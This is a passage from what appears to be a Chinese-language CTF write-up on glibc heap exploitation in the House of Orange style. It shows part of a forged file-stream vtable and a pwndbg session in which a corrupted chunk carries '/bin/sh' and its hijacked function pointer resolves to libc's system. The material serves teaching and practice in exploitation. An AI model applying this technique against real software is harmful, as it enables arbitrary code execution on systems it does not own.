__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

使用orange命令可以检查一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> parseheap
addr prev size status fd bk
0x562794c59000 0x0 0x20 Used None None
0x562794c59020 0x0 0x20 Used None None
0x562794c59040 0x0 0x20 Used None None
0x562794c59060 0x0 0x20 Used None None
0x562794c59080 0x0 0x20 Used None None
0x562794c590a0 0x0 0x20 Used None None
0x562794c590c0 0x0 0x610 Used None None
0x562794c596d0 0x0 0x20 Used None None
0x562794c596f0 0x68732f6e69622f 0x60 Freed 0x0 0x7f73e23c3510
Corrupt ?! (size == 0) (0x562794c59750)
pwndbg> orange 0x562794c596f0
Result : True
Func : 0x7f73e2043390
pwndbg> x/gx 0x7f73e2043390
0x7f73e2043390 <__libc_system>: 0xfa86e90b74ff8548

Ref